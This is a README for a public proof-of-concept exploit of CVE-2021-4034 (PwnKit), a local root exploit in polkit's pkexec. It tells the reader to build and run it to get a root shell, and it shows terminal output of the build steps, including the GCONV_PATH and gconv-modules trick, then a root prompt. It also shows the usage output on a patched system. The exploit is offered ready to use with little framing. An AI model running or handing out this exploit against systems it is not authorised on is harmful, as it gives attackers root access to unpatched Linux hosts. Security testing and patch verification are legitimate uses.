# CVE-2021-4034
One day for the polkit privilege escalation exploit

Just execute `make`, `./cve-2021-4034` and enjoy your root shell.

The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)

## PoC
If the exploit is working you'll get a root shell immediately:

```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
```

Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit:
```bash
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
```